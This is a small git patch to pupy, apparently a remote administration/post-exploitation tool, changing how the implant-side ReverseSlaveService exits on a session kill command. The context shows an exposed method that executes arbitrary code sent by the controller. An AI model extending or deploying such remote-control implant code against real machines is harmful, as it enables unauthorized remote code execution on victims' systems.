From 1337074ccc4494cf34e6e42c3e1c3c2dd52defb1 Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Sat, 27 Aug 2016 00:47:37 +0200 Subject: [PATCH] fix sessions -k to actually exit --- pupy/pp.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/pupy/pp.py b/pupy/pp.py index 659df80a..90a89b47 100755 --- a/pupy/pp.py +++ b/pupy/pp.py @@ -106,8 +106,9 @@ class ReverseSlaveService(Service): self._conn.close() except: pass - raise KeyboardInterrupt + raise def exposed_exit(self): + print "exiting ..." raise SystemExit def exposed_execute(self, text): """execute arbitrary code (using ``exec``)"""